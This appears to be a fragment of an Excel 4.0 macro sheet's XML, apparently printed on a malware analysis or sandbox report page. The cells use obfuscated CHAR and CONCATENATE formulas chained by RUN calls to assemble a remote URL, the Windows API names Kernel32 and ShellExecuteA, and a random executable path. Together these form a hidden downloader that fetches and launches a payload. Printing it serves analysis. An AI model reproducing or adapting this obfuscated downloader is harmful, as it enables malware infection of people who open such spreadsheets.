t="str"><f>CONCATENATE($AU$1110,$EB$1732,$AT$748,$CP$635,$DP$1138,$EW$1842,$EE$1033,$EB$74,$IH$1222,$FK$587,$ID$549,$FB$1985,$BO$1605,$DC$1700,$FC$171,$BP$1641,$IJ$601,$ER$524,$AI$528,$CP$470,$GQ$1878,$ID$1001,$FI$190,$B$936,$CP$602,$FA$1100,$HD$1717,$ET$279,$BG$386)</f><v>http://id-929734532482.com/Fr</v></c></row><row r="1684" spans="10:140" x14ac:dyDescent="0.25"><c r="EI1684"><v>1</v></c></row><row r="1687" spans="10:140" x14ac:dyDescent="0.25"><c r="EJ1687"><v>62</v></c></row><row r="1690" spans="10:140" x14ac:dyDescent="0.25"><c r="U1690"><v>1012</v></c></row><row r="1693" spans="10:140" x14ac:dyDescent="0.25"><c r="J1693"><v>564</v></c></row><row r="1694" spans="10:140" x14ac:dyDescent="0.25"><c r="DM1694" t="str"><f>CHAR($HZ$1790-459)</f><v>N</v></c></row><row r="1700" spans="41:190" x14ac:dyDescent="0.25"><c r="BC1700"><v>1</v></c><c r="DC1700" t="str"><f>CHAR($AR$883-826)</f><v>7</v></c></row><row r="1701" spans="41:190" x14ac:dyDescent="0.25"><c r="DP1701" t="b"><f>RUN($DX$1066)</f><v>0</v></c></row><row r="1705" spans="41:190" x14ac:dyDescent="0.25"><c r="GH1705" t="b"><f>RUN($GG$1763)</f><v>0</v></c></row><row r="1707" spans="41:190" x14ac:dyDescent="0.25"><c r="AO1707"><v>978</v></c></row><row r="1711" spans="41:190" x14ac:dyDescent="0.25"><c r="DD1711"><v>34</v></c></row><row r="1717" spans="35:249" x14ac:dyDescent="0.25"><c r="HD1717" t="str"><f>CHAR($DC$46-826)</f><v>/</v></c></row><row r="1718" spans="35:249" x14ac:dyDescent="0.25"><c r="IO1718" t="str"><f>CHAR($N$640-506)</f><v>i</v></c></row><row r="1721" spans="35:249" x14ac:dyDescent="0.25"><c r="GU1721"><v>28</v></c></row><row r="1722" spans="35:249" x14ac:dyDescent="0.25"><c r="AI1722"><v>52</v></c></row><row r="1725" spans="35:249" x14ac:dyDescent="0.25"><c r="EN1725"><v>878</v></c></row><row r="1729" spans="3:132" x14ac:dyDescent="0.25"><c r="C1729"><v>50</v></c></row><row r="1732" spans="3:132" x14ac:dyDescent="0.25"><c r="EB1732" t="str"><f>CHAR($HU$595-826)</f><v>t</v></c></row><row r="1751" spans="5:198" x14ac:dyDescent="0.25"><c r="E1751"><v>14</v></c></row><row r="1754" spans="5:198" x14ac:dyDescent="0.25"><c r="GM1754"><v>79</v></c></row><row r="1755" spans="5:198" x14ac:dyDescent="0.25"><c r="GP1755" t="b"><f>RUN($CU$1594)</f><v>0</v></c></row><row r="1756" spans="5:198" x14ac:dyDescent="0.25"><c r="FI1756"><v>3</v></c><c r="FN1756"><v>560</v></c></row><row r="1759" spans="5:198" x14ac:dyDescent="0.25"><c r="DJ1759"><v>9</v></c></row><row r="1761" spans="15:224" x14ac:dyDescent="0.25"><c r="HP1761"><v>598</v></c></row><row r="1763" spans="15:224" x14ac:dyDescent="0.25"><c r="DC1763"><v>25</v></c><c r="DE1763" t="b"><f>RUN($AG$410)</f><v>0</v></c><c r="GG1763" t="b"><f>RUN($IJ$1936)</f><v>0</v></c></row><row r="1766" spans="15:224" x14ac:dyDescent="0.25"><c r="BW1766" t="str"><f>CONCATENATE($HB$1959,$GH$339,$DZ$1065,$GS$214,$BF$1810,$CD$1567,$K$787,$HS$329)</f><v>Kernel32</v></c></row><row r="1770" spans="15:224" x14ac:dyDescent="0.25"><c r="AV1770"><v>15</v></c></row><row r="1771" spans="15:224" x14ac:dyDescent="0.25"><c r="AR1771"><v>39</v></c></row><row r="1776" spans="15:224" x14ac:dyDescent="0.25"><c r="O1776" t="b"><f>RUN($M$1548)</f><v>0</v></c></row><row r="1786" spans="51:234" x14ac:dyDescent="0.25"><c r="GH1786"><v>30</v></c></row><row r="1787" spans="51:234" x14ac:dyDescent="0.25"><c r="AY1787" t="b"><f>RUN($CY$59)</f><v>0</v></c><c r="HQ1787"><v>876</v></c></row><row r="1790" spans="51:234" x14ac:dyDescent="0.25"><c r="HZ1790"><v>537</v></c></row><row r="1794" spans="3:153" x14ac:dyDescent="0.25"><c r="CH1794"><v>882</v></c></row><row r="1795" spans="3:153" x14ac:dyDescent="0.25"><c r="D1795"><v>2</v></c></row><row r="1800" spans="3:153" x14ac:dyDescent="0.25"><c r="BH1800"><v>65</v></c></row><row r="1801" spans="3:153" x14ac:dyDescent="0.25"><c r="CI1801"><v>44</v></c></row><row r="1802" spans="3:153" x14ac:dyDescent="0.25"><c r="AO1802"><v>946</v></c></row><row r="1803" spans="3:153" x14ac:dyDescent="0.25"><c r="EW1803" t="b"><f>RUN($HQ$646)</f><v>0</v></c></row><row r="1807" spans="3:153" x14ac:dyDescent="0.25"><c r="C1807" t="b"><f>RUN($DM$1089)</f><v>0</v></c></row><row r="1810" spans="44:106" x14ac:dyDescent="0.25"><c r="BF1810" t="str"><f>CHAR($BO$1388-459)</f><v>e</v></c></row><row r="1815" spans="44:106" x14ac:dyDescent="0.25"><c r="AR1815"><v>71</v></c></row><row r="1817" spans="44:106" x14ac:dyDescent="0.25"><c r="DB1817"><v>14</v></c></row><row r="1833" spans="64:68" x14ac:dyDescent="0.25"><c r="BP1833" t="b"><f>RUN($BQ$917)</f><v>0</v></c></row><row r="1836" spans="64:68" x14ac:dyDescent="0.25"><c r="BL1836"><v>42</v></c></row><row r="1842" spans="112:153" x14ac:dyDescent="0.25"><c r="EW1842" t="str"><f>CHAR($CS$790-826)</f><v>/</v></c></row><row r="1848" spans="112:153" x14ac:dyDescent="0.25"><c r="DH1848"><v>935</v></c></row><row r="1865" spans="98:167" x14ac:dyDescent="0.25"><c r="CT1865" t="str"><f>CONCATENATE($AY$816,$CO$376,$DB$1673,$DL$1005,$CN$854,$HV$1205,$AL$1237,$DW$1118,$AD$1887,$EF$1254,$EE$253,$BO$96,$DA$1156)</f><v>ShellExecuteA</v></c></row><row r="1869" spans="98:167" x14ac:dyDescent="0.25"><c r="FK1869"><v>1034</v></c></row><row r="1877" spans="30:213" x14ac:dyDescent="0.25"><c r="HE1877"><v>86</v></c></row><row r="1878" spans="30:213" x14ac:dyDescent="0.25"><c r="GQ1878" t="str"><f>CHAR($CH$1794-826)</f><v>8</v></c></row><row r="1887" spans="30:213" x14ac:dyDescent="0.25"><c r="AD1887" t="str"><f>CHAR($CU$1218-913)</f><v>c</v></c></row><row r="1888" spans="30:213" x14ac:dyDescent="0.25"><c r="GQ1888"><v>67</v></c></row><row r="1892" spans="35:220" x14ac:dyDescent="0.25"><c r="EF1892" t="b"><f>RUN($GH$1705)</f><v>0</v></c></row><row r="1894" spans="35:220" x14ac:dyDescent="0.25"><c r="EZ1894"><v>980</v></c><c r="HL1894"><v>1021</v></c></row><row r="1896" spans="35:220" x14ac:dyDescent="0.25"><c r="AI1896" t="str"><f>CHAR($EY$843-913)</f><v>e</v></c><c r="AN1896"><v>50</v></c></row><row r="1902" spans="35:220" x14ac:dyDescent="0.25"><c r="FI1902"><v>610</v></c></row><row r="1905" spans="23:243" x14ac:dyDescent="0.25"><c r="CW1905"><v>57</v></c></row><row r="1910" spans="23:243" x14ac:dyDescent="0.25"><c r="W1910"><v>83</v></c><c r="GD1910" t="str"><f>CHAR($AR$1277-913)</f><v>r</v></c></row><row r="1911" spans="23:243" x14ac:dyDescent="0.25"><c r="II1911"><v>94</v></c></row><row r="1914" spans="23:243" x14ac:dyDescent="0.25"><c r="FV1914"><v>1010</v></c></row><row r="1922" spans="54:246" x14ac:dyDescent="0.25"><c r="GK1922"><v>85</v></c></row><row r="1929" spans="54:246" x14ac:dyDescent="0.25"><c r="BB1929" t="b"><f>RUN($FY$1556)</f><v>0</v></c></row><row r="1931" spans="54:246" x14ac:dyDescent="0.25"><c r="FU1931"><v>572</v></c></row><row r="1933" spans="54:246" x14ac:dyDescent="0.25"><c r="IL1933" t="b"><f>RUN($HD$46)</f><v>0</v></c></row><row r="1936" spans="54:246" x14ac:dyDescent="0.25"><c r="IJ1936" t="b"><f>RUN($DP$1701)</f><v>0</v></c></row><row r="1938" spans="48:221" x14ac:dyDescent="0.25"><c r="HM1938"><v>567</v></c></row><row r="1942" spans="48:221" x14ac:dyDescent="0.25"><c r="GG1942"><v>96</v></c><c r="GO1942"><v>997</v></c></row><row r="1951" spans="48:221" x14ac:dyDescent="0.25"><c r="AV1951"><v>11</v></c></row><row r="1954" spans="45:210" x14ac:dyDescent="0.25"><c r="AT1954" t="str"><f>CHAR($HM$826-913)</f><v>L</v></c></row><row r="1959" spans="45:210" x14ac:dyDescent="0.25"><c r="HB1959" t="str"><f>CHAR($AC$467-459)</f><v>K</v></c></row><row r="1964" spans="45:210" x14ac:dyDescent="0.25"><c r="AS1964"><v>46</v></c></row><row r="1965" spans="45:210" x14ac:dyDescent="0.25"><c r="HA1965"><v>587</v></c></row><row r="1966" spans="45:210" x14ac:dyDescent="0.25"><c r="FB1966"><v>50</v></c></row><row r="1970" spans="2:247" x14ac:dyDescent="0.25"><c r="DK1970" t="str"><f>CONCATENATE($GU$1113)</f><v>e</v></c></row><row r="1972" spans="2:247" x14ac:dyDescent="0.25"><c r="B1972"><v>995</v></c></row><row r="1973" spans="2:247" x14ac:dyDescent="0.25"><c r="BN1973" t="str"><f>CONCATENATE($BO$1315,$IF$364,$BC$933,$IO$1640,$DC$1199,$EO$997,$AR$280,$IC$408,$CW$536,$EO$473,$IG$833,$DD$206,$AP$1517,$B$1323,$CF$25,$J$887,$AG$1645,$O$791,$CJ$1304,$IO$1718,$IM$1976,$HD$1410,$CO$73,$CS$1043,$HK$1544,$HR$1995,$FQ$1542,$GE$329,$BW$403)</f><v>C:\HMJUXmI\JScXBQj\igaspMh.ex</v></c></row><row r="1976" spans="2:247" x14ac:dyDescent="0.25"><c r="IM1976" t="str"><f>CHAR($GZ$651-506)</f><v>g</v></c></row><row r="1977" spans="2:247" x14ac:dyDescent="0.25"><c r="AG1977"><v>54</v></c></row><row r="1978" spans="2:247" x14ac:dyDescent="0.25"><c r="BX1978"><v>618</v></c></row><row r="1981" spans="2:247" x14ac:dyDescent="0.25"><c r="DL1981" t="str"><f>CHAR($DG$1323-913)</f><v>o</v></c></row><row r="1985" spans="64:226" x14ac:dyDescent="0.25"><c r="CY1985"><v>39</v></c><c r="FB1985" t="str"><f>CHAR($HQ$1787-826)</f><v>2</v></c></row><row r="1995" spans="64:226" x14ac:dyDescent="0.25"><c r="ED1995" t="str"><f>CHAR($GA$1013-913)</f><v>o</v></c><c r="HR1995" t="str"><f>CHAR($FI$1902-506)</f><v>h</v></c></row><row r="1999" spans="64:226" x14ac:dyDescent="0.25"><c r="BL1999" t="b"><f>RUN($FF$1069)</f><v>0</v></c><c r="FT1999"><v>13</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.